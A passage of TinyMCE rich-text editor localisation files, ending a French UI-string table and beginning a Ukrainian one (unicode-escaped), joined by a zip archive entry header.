"Square": "Carr\u00e9",
"Default": "D\u00e9faut",
"Lower Alpha": "Alpha inf\u00e9rieur",
"Circle": "Cercle",
"Disc": "Disque",
"Upper Alpha": "Alpha sup\u00e9rieur",
"Upper Roman": "Romain sup\u00e9rieur",
"Lower Roman": "Romain inf\u00e9rieur",
"Name": "Nom",
"Anchor": "Ancre",
"You have unsaved changes are you sure you want to navigate away?": "Vous avez des modifications non enregistr\u00e9es, \u00eates-vous s\u00fbr de quitter la page?",
"Restore last draft": "Restaurer le dernier brouillon",
"Special character": "Caract\u00e8re sp\u00e9cial",
"Source code": "Code source",
"B": "B",
"R": "R",
"G": "V",
"Color": "Couleur",
"Right to left": "Droite \u00e0 gauche",
"Left to right": "Gauche \u00e0 droite",
"Emoticons": "\u00c9motic\u00f4nes",
"Robots": "Robots",
"Document properties": "Propri\u00e9t\u00e9s du document",
"Title": "Titre",
"Keywords": "Mots cl\u00e9s",
"Encoding": "Encodage",
"Description": "Description",
"Author": "Auteur",
"Fullscreen": "Plein \u00e9cran",
"Horizontal line": "Ligne horizontale",
"Horizontal space": "Espacement horizontal",
"Insert\/edit image": "Ins\u00e9rer\/\u00e9diter image",
"General": "G\u00e9n\u00e9ral",
"Advanced": "Avanc\u00e9",
"Source": "Source",
"Border": "Bordure",
"Constrain proportions": "Conserver les proportions",
"Vertical space": "Espacement vertical",
"Image description": "Description de l'image",
"Style": "Style",
"Dimensions": "Dimensions",
"Insert image": "Ins\u00e9rer une image",
"Zoom in": "Zoomer",
"Contrast": "Contraste",
"Back": "Retour",
"Gamma": "Gamma",
"Flip horizontally": "Miroir horizontal",
"Resize": "Redimensionner",
"Sharpen": "Nettet\u00e9",
"Zoom out": "D\u00e9zoomer",
"Image options": "Options de l'image",
"Apply": "Appliquer",
"Brightness": "Luminosit\u00e9",
"Rotate clockwise": "Tourner dans le sens inverse des aiguilles",
"Rotate counterclockwise": "Tourner dans le sens des aiguilles",
"Edit image": "Modifier l'image",
"Color levels": "Niveau de couleurs",
"Crop": "Recadrer",
"Orientation": "Orientation",
"Flip vertically": "Miroir vertical",
"Invert": "Inverser",
"Insert date\/time": "Ins\u00e9rer date\/heure",
"Remove link": "Supprimer le lien",
"Url": "Url",
"Text to display": "Texte \u00e0 afficher",
"Anchors": "Ancres",
"Insert link": "Ins\u00e9rer un lien",
"New window": "Nouvelle fen\u00eatre",
"None": "n\/a",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "L'URL que vous avez entr\u00e9e semble \u00eatre un lien externe. Voulez-vous ajouter le pr\u00e9fixe http:\/\/ n\u00e9cessaire?",
"Target": "Cible",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "L'URL que vous avez entr\u00e9e semble \u00eatre une adresse e-mail. Voulez-vous ajouter le pr\u00e9fixe mailto: n\u00e9cessaire?",
"Insert\/edit link": "Ins\u00e9rer\/\u00e9diter lien",
"Insert\/edit video": "Ins\u00e9rer\/modifier une vid\u00e9o",
"Poster": "Publier",
"Alternative source": "Source alternative",
"Paste your embed code below:": "Collez votre code d'int\u00e9gration ci-dessous :",
"Insert video": "Ins\u00e9rer une vid\u00e9o",
"Embed": "Int\u00e9grer",
"Nonbreaking space": "Espace ins\u00e9cable",
"Page break": "Saut de page",
"Paste as text": "Coller comme texte",
"Preview": "Pr\u00e9visualiser",
"Print": "Imprimer",
"Save": "Enregistrer",
"Could not find the specified string.": "Impossible de trouver la cha\u00eene sp\u00e9cifi\u00e9e.",
"Replace": "Remplacer",
"Next": "Suiv",
"Whole words": "Mots entiers",
"Find and replace": "Trouver et remplacer",
"Replace with": "Remplacer par",
"Find": "Chercher",
"Replace all": "Remplacer tout",
"Match case": "Respecter la casse",
"Prev": "Pr\u00e9c",
"Spellcheck": "V\u00e9rification orthographique",
"Finish": "Finie",
"Ignore all": "Tout ignorer",
"Ignore": "Ignorer",
"Add to Dictionary": "Ajouter au dictionnaire",
"Insert row before": "Ins\u00e9rer une ligne avant",
"Rows": "Lignes",
"Height": "Hauteur",
"Paste row after": "Coller la ligne apr\u00e8s",
"Alignment": "Alignement",
"Border color": "Couleur de la bordure",
"Column group": "Groupe de colonnes",
"Row": "Ligne",
"Insert column before": "Ins\u00e9rer une colonne avant",
"Split cell": "Diviser la cellule",
"Cell padding": "Espacement interne cellule",
"Cell spacing": "Espacement inter-cellulles",
"Row type": "Type de ligne",
"Insert table": "Ins\u00e9rer un tableau",
"Body": "Corps",
"Caption": "Titre",
"Footer": "Pied",
"Delete row": "Effacer la ligne",
"Paste row before": "Coller la ligne avant",
"Scope": "Etendue",
"Delete table": "Supprimer le tableau",
"H Align": "Alignement H",
"Top": "Haut",
"Header cell": "Cellule d'en-t\u00eate",
"Column": "Colonne",
"Row group": "Groupe de lignes",
"Cell": "Cellule",
"Middle": "Milieu",
"Cell type": "Type de cellule",
"Copy row": "Copier la ligne",
"Row properties": "Propri\u00e9t\u00e9s de la ligne",
"Table properties": "Propri\u00e9t\u00e9s du tableau",
"Bottom": "Bas",
"V Align": "Alignement V",
"Header": "En-t\u00eate",
"Right": "Droite",
"Insert column after": "Ins\u00e9rer une colonne apr\u00e8s",
"Cols": "Colonnes",
"Insert row after": "Ins\u00e9rer une ligne apr\u00e8s",
"Width": "Largeur",
"Cell properties": "Propri\u00e9t\u00e9s de la cellule",
"Left": "Gauche",
"Cut row": "Couper la ligne",
"Delete column": "Effacer la colonne",
"Center": "Centr\u00e9",
"Merge cells": "Fusionner les cellules",
"Insert template": "Ajouter un th\u00e8me",
"Templates": "Th\u00e8mes",
"Background color": "Couleur d'arri\u00e8re-plan",
"Custom...": "Personnalis\u00e9...",
"Custom color": "Couleur personnalis\u00e9e",
"No color": "Aucune couleur",
"Text color": "Couleur du texte",
"Show blocks": "Afficher les blocs",
"Show invisible characters": "Afficher les caract\u00e8res invisibles",
"Words: {0}": "Mots : {0}",
"Insert": "Ins\u00e9rer",
"File": "Fichier",
"Edit": "Editer",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Zone Texte Riche. Appuyer sur ALT-F9 pour le menu. Appuyer sur ALT-F10 pour la barre d'outils. Appuyer sur ALT-0 pour de l'aide.",
"Tools": "Outils",
"View": "Voir",
"Table": "Tableau",
"Format": "Format"
});PK
h�\�5�kj�j�program/js/tinymce/langs/uk.jsnu�[���tinymce.addI18n('uk',{
"Redo": "\u041f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u0438",
"Undo": "\u0421\u043a\u0430\u0441\u0443\u0432\u0430\u0442\u0438",
"Cut": "\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438",
"Copy": "\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438",
"Paste": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438",
"Select all": "\u0412\u0438\u0434\u0456\u043b\u0438\u0442\u0438 \u0432\u0441\u0435",
"New document": "\u0421\u0442\u0432\u043e\u0440\u0438\u0442\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Ok": "\u0413\u0430\u0440\u0430\u0437\u0434",
"Cancel": "\u0421\u043a\u0430\u0441\u0443\u0432\u0430\u0442\u0438",
"Visual aids": "\u041d\u0430\u043e\u0447\u043d\u0456 \u043f\u0440\u0438\u043b\u0430\u0434\u0434\u044f",
"Bold": "\u0416\u0438\u0440\u043d\u0438\u0439",
"Italic": "\u041a\u0443\u0440\u0441\u0438\u0432",
"Underline": "\u041f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u043d\u044f",
"Strikethrough": "\u041f\u0435\u0440\u0435\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u043d\u044f",
"Superscript": "\u041d\u0430\u0434\u0440\u044f\u0434\u043a\u043e\u0432\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b",
"Subscript": "\u041f\u0456\u0434\u0440\u044f\u0434\u043a\u043e\u0432\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b",
"Clear formatting": "\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"Align left": "\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Align center": "\u0412\u0438\u0440\u0456\u0432\u043d\u044f\u0442\u0438 \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Align right": "\u0412\u0438\u0440\u0456\u0432\u043d\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0430\u0432\u0438\u043c \u043a\u0440\u0430\u0454\u043c",
"Justify": "\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Bullet list": "\u041d\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Numbered list": "\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Decrease indent": "\u0417\u043c\u0435\u043d\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f",
"Increase indent": "\u0417\u0431\u0456\u043b\u044c\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f",
"Close": "\u0417\u0430\u043a\u0440\u0438\u0442\u0438",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442\u0438",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0412\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0435 \u043f\u0456\u0434\u0442\u0440\u0438\u043c\u0443\u0454 \u043f\u0440\u044f\u043c\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u0431\u0443\u0444\u0435\u0440\u0430 \u043e\u0431\u043c\u0456\u043d\u0443. \u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 \u043d\u0430\u0442\u043e\u043c\u0456\u0441\u0442\u044c \u0441\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044f \u043a\u043b\u0430\u0432\u0456\u0448 Ctrl\u00a0+\u00a0C\/V\/X.",
"Headers": "\u041a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b\u0438",
"Header 1": "\u041a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 1",
"Header 2": "\u041a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 2",
"Header 3": "\u041a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 3",
"Header 4": "\u041a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 4",
"Header 5": "\u041a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 5",
"Header 6": "\u041a\u043e\u043b\u043e\u043d\u0442\u0438\u0442\u0443\u043b 6",
"Headings": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Heading 1": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Heading 2": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Heading 3": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Heading 4": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Heading 5": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Heading 6": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Preformatted": "\u0424\u043e\u0440\u043c\u0430\u0442\u043e\u0432\u0430\u043d\u0438\u0439",
"Div": "\u0420\u043e\u0437\u0434\u0456\u043b",
"Pre": "\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0454 \u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"Code": "\u041a\u043e\u0434",
"Paragraph": "\u0410\u0431\u0437\u0430\u0446",
"Blockquote": "\u0411\u043b\u043e\u043a \u0446\u0438\u0442\u0443\u0432\u0430\u043d\u043d\u044f",
"Inline": "\u0420\u044f\u0434\u043a\u043e\u0432\u0438\u0439",
"Blocks": "\u0411\u043b\u043e\u043a\u0438",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u0437\u0434\u0456\u0439\u0441\u043d\u044e\u0454\u0442\u044c\u0441\u044f \u0443 \u0432\u0438\u0433\u043b\u044f\u0434\u0456 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0443, \u043f\u043e\u043a\u0438 \u043d\u0435 \u0432\u0456\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u0438 \u0434\u0430\u043d\u0443 \u043e\u043f\u0446\u0456\u044e.",
"Fonts": "\u0428\u0440\u0438\u0444\u0442\u0438",
"Font Sizes": "\u0420\u043e\u0437\u043c\u0456\u0440\u0438 \u0448\u0440\u0438\u0444\u0442\u0443",
"Class": "\u041a\u043b\u0430\u0441",
"Browse for an image": "\u0412\u0438\u0431\u0435\u0440\u0456\u0442\u044c \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"OR": "\u0410\u0411\u041e",
"Drop an image here": "\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0456\u0442\u044c \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f \u0441\u044e\u0434\u0438",
"Upload": "\u0417\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0438\u0442\u0438",
"Block": "\u0411\u043b\u043e\u043a",
"Align": "\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",
"Default": "\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0438\u0439",
"Circle": "\u041e\u043a\u0440\u0443\u0436\u043d\u043e\u0441\u0442\u0456",
"Disc": "\u041a\u0440\u0443\u0433\u0438",
"Square": "\u041a\u0432\u0430\u0434\u0440\u0430\u0442\u0438",
"Lower Alpha": "\u041c\u0430\u043b\u0456 \u043b\u0430\u0442\u0438\u043d\u0441\u044c\u043a\u0456 \u0431\u0443\u043a\u0432\u0438",
"Lower Greek": "\u041c\u0430\u043b\u0456 \u0433\u0440\u0435\u0446\u044c\u043a\u0456 \u0431\u0443\u043a\u0432\u0438",
"Lower Roman": "\u041c\u0430\u043b\u0456 \u0440\u0438\u043c\u0441\u044c\u043a\u0456 \u0446\u0438\u0444\u0440\u0438",
"Upper Alpha": "\u0412\u0435\u043b\u0438\u043a\u0456 \u043b\u0430\u0442\u0438\u043d\u0441\u044c\u043a\u0456 \u0431\u0443\u043a\u0432\u0438",
"Upper Roman": "\u0420\u0438\u043c\u0441\u044c\u043a\u0456 \u0446\u0438\u0444\u0440\u0438",
"Anchor...": "\u042f\u043a\u0456\u0440\u2026",
"Name": "\u041d\u0430\u0437\u0432\u0430",
"Id": "\u041a\u043e\u0434",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u041a\u043e\u0434 \u043c\u0430\u0454 \u043f\u043e\u0447\u0438\u043d\u0430\u0442\u0438\u0441\u044f \u0437 \u043b\u0456\u0442\u0435\u0440\u0438 \u0456 \u043c\u043e\u0436\u0435 \u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u043b\u0438\u0448\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438 \u043b\u0456\u0442\u0435\u0440, \u0446\u0438\u0444\u0440, \u0434\u0435\u0444\u0456\u0441\u0443, \u043a\u0440\u0430\u043f\u043a\u0438, \u043a\u043e\u043c\u0438 \u0430\u0431\u043e \u043d\u0438\u0436\u043d\u044c\u043e\u0433\u043e \u043f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u043d\u044f.",
"You have unsaved changes are you sure you want to navigate away?": "\u0423 \u0412\u0430\u0441 \u0454 \u043d\u0435\u0437\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u0456 \u0437\u043c\u0456\u043d\u0438. \u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e \u0445\u043e\u0447\u0435\u0442\u0435 \u043f\u0456\u0442\u0438?",
"Restore last draft": "\u0412\u0456\u0434\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u043e\u0441\u0442\u0430\u043d\u043d\u044c\u043e\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0443",
"Special character...": "\u0421\u043f\u0435\u0446\u0456\u0430\u043b\u044c\u043d\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b\u2026",
"Source code": "\u0412\u0438\u0445\u0456\u0434\u043d\u0438\u0439 \u043a\u043e\u0434",
"Insert\/Edit code sample": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443",
"Language": "\u041c\u043e\u0432\u0430",
"Code sample...": "\u041f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443\u2026",
"Color Picker": "\u041f\u0456\u043f\u0435\u0442\u043a\u0430 \u043a\u043e\u043b\u044c\u043e\u0440\u0443",
"R": "\u0427",
"G": "\u0417",
"B": "\u0411",
"Left to right": "\u0417\u043b\u0456\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",
"Right to left": "\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0456\u0432\u043e",
"Emoticons...": "\u0421\u043c\u0430\u0439\u043b\u0438\u043a\u0438\u2026",
"Metadata and Document Properties": "\u041c\u0435\u0442\u0430\u0434\u0430\u043d\u0456 \u0456 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",
"Keywords": "\u041a\u043b\u044e\u0447\u043e\u0432\u0456 \u0441\u043b\u043e\u0432\u0430",
"Description": "\u041e\u043f\u0438\u0441",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u0438",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Encoding": "\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f",
"Fullscreen": "\u041f\u043e\u0432\u043d\u043e\u0435\u043a\u0440\u0430\u043d\u043d\u0438\u0439 \u0440\u0435\u0436\u0438\u043c",
"Action": "\u0414\u0456\u044f",
"Shortcut": "\u042f\u0440\u043b\u0438\u043a",
"Help": "\u0414\u043e\u043f\u043e\u043c\u043e\u0433\u0430",
"Address": "\u0410\u0434\u0440\u0435\u0441\u0430",
"Focus to menubar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043c\u0435\u043d\u044e",
"Focus to toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445",
"Focus to element path": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u0448\u043b\u044f\u0445\u0443",
"Focus to contextual toolbar": "\u0424\u043e\u043a\u0443\u0441 \u043d\u0430 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0456",
"Insert link (if link plugin activated)": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f (\u044f\u043a\u0449\u043e \u043f\u043b\u0430\u0433\u0456\u043d \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c \u0430\u043a\u0442\u0438\u0432\u043e\u0432\u0430\u043d\u0438\u0439)",
"Save (if save plugin activated)": "\u0417\u0431\u0435\u0440\u0435\u0433\u0442\u0438 (\u044f\u043a\u0449\u043e \u043f\u043b\u0430\u0433\u0456\u043d \u0437\u0431\u0435\u0440\u0435\u0436\u0435\u043d\u043d\u044f \u0430\u043a\u0442\u0438\u0432\u043e\u0432\u0430\u043d\u043e)",
"Find (if searchreplace plugin activated)": "\u0417\u043d\u0430\u0439\u0442\u0438 (\u044f\u043a\u0449\u043e \u043f\u043b\u0430\u0433\u0456\u043d \u043f\u043e\u0448\u0443\u043a\u0443 \u0430\u043a\u0442\u0438\u0432\u043e\u0432\u0430\u043d\u043e)",
"Plugins installed ({0}):": "\u0412\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0456 \u043f\u043b\u0430\u0433\u0456\u043d\u0438 ({0}):",
"Premium plugins:": "\u041f\u0440\u0435\u043c\u0456\u0443\u043c \u043f\u043b\u0430\u0433\u0456\u043d\u0438:",
"Learn more...": "\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e...",
"You are using {0}": "\u0423 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u043d\u0456 {0}",
"Plugins": "\u041f\u043b\u0430\u0433\u0456\u043d\u0438",
"Handy Shortcuts": "\u041a\u043b\u0430\u0432\u0456\u0430\u0442\u0443\u0440\u043d\u0456 \u0441\u043a\u043e\u0440\u043e\u0447\u0435\u043d\u043d\u044f",
"Horizontal line": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0430 \u043b\u0456\u043d\u0456\u044f",
"Insert\/edit image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image description": "\u041e\u043f\u0438\u0441 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Source": "\u0414\u0436\u0435\u0440\u0435\u043b\u043e",
"Dimensions": "\u0420\u043e\u0437\u043c\u0456\u0440",
"Constrain proportions": "\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0456\u0457",
"General": "\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456",
"Advanced": "\u0420\u043e\u0437\u0448\u0438\u0440\u0435\u043d\u0456",
"Style": "\u0421\u0442\u0438\u043b\u044c",
"Vertical space": "\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u0438\u0439 \u0456\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Horizontal space": "\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0438\u0439 \u0456\u043d\u0442\u0435\u0440\u0432\u0430\u043b",
"Border": "\u041c\u0435\u0436\u0430",
"Insert image": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image...": "\u0417\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f\u2026",
"Image list": "\u041f\u0435\u0440\u0435\u043b\u0456\u043a \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u044c",
"Rotate counterclockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438 \u043f\u0440\u043e\u0442\u0438 \u0433\u043e\u0434\u0438\u043d\u043d\u0438\u043a\u043e\u0432\u043e\u0457 \u0441\u0442\u0440\u0456\u043b\u043a\u0438",
"Rotate clockwise": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438 \u0437\u0430 \u0433\u043e\u0434\u0438\u043d\u043d\u0438\u043a\u043e\u0432\u043e\u044e \u0441\u0442\u0440\u0456\u043b\u043a\u043e\u044e",
"Flip vertically": "\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0438 \u043f\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u0456",
"Flip horizontally": "\u0412\u0456\u0434\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u0438 \u043f\u043e \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0456",
"Edit image": "\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Image options": "\u041d\u0430\u043b\u0430\u0448\u0442\u0443\u0432\u0430\u043d\u043d\u044f \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Zoom in": "\u041d\u0430\u0431\u043b\u0438\u0437\u0438\u0442\u0438",
"Zoom out": "\u0412\u0456\u0434\u0434\u0430\u043b\u0438\u0442\u0438",
"Crop": "\u041e\u0431\u0440\u0456\u0437\u0430\u0442\u0438",
"Resize": "\u0417\u043c\u0456\u043d\u0438\u0442\u0438 \u0440\u043e\u0437\u043c\u0456\u0440",
"Orientation": "\u041e\u0440\u0456\u0454\u043d\u0442\u0430\u0446\u0456\u044f",
"Brightness": "\u042f\u0441\u043a\u0440\u0430\u0432\u0456\u0441\u0442\u044c",
"Sharpen": "\u0427\u0456\u0442\u043a\u0456\u0441\u0442\u044c",
"Contrast": "\u041a\u043e\u043d\u0442\u0440\u0430\u0441\u0442",
"Color levels": "\u0420\u0456\u0432\u043d\u0456 \u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432",
"Gamma": "\u0413\u0430\u043c\u043c\u0430",
"Invert": "\u0406\u043d\u0432\u0435\u0440\u0441\u0456\u044f",
"Apply": "\u0417\u0430\u0441\u0442\u043e\u0441\u0443\u0432\u0430\u0442\u0438",
"Back": "\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438\u0441\u044f",
"Insert date\/time": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0434\u0430\u0442\u0443\/\u0447\u0430\u0441",
"Date\/time": "\u0414\u0430\u0442\u0430\/\u0447\u0430\u0441",
"Insert\/Edit Link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Insert\/edit link": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Text to display": "\u0422\u0435\u043a\u0441\u0442 \u0434\u043b\u044f \u0432\u0456\u0434\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",
"Url": "\u0410\u0434\u0440\u0435\u0441\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Open link in...": "\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0432\u2026",
"Current window": "\u0423 \u043f\u043e\u0442\u043e\u0447\u043d\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456",
"None": "\u041d\u0456",
"New window": "\u0423 \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456",
"Remove link": "\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"Anchors": "\u042f\u043a\u043e\u0440\u0456",
"Link...": "\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u2026",
"Paste or type a link": "\u041d\u0430\u043f\u0438\u0441\u0430\u0442\u0438 \u0430\u0431\u043e \u0432\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0421\u0445\u043e\u0436\u0435, \u0449\u043e \u0432\u0438 \u0432\u0432\u0435\u043b\u0438 \u0430\u0434\u0440\u0435\u0441\u0443 \u0435\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0457 \u043f\u043e\u0448\u0442\u0438. \u0412\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 mailto: \u043f\u0440\u0435\u0444\u0456\u043a\u0441?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0421\u0445\u043e\u0436\u0435, \u0449\u043e \u0432\u0438 \u0432\u0432\u0435\u043b\u0438 \u0437\u043e\u0432\u043d\u0456\u0448\u043d\u0454 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f. \u0412\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 http:\/\/ \u043f\u0440\u0435\u0444\u0456\u043a\u0441?",
"Link list": "\u041f\u0435\u0440\u0435\u043b\u0456\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c",
"Insert video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0432\u0456\u0434\u0435\u043e",
"Insert\/edit video": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438\/\u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0432\u0456\u0434\u0435\u043e",
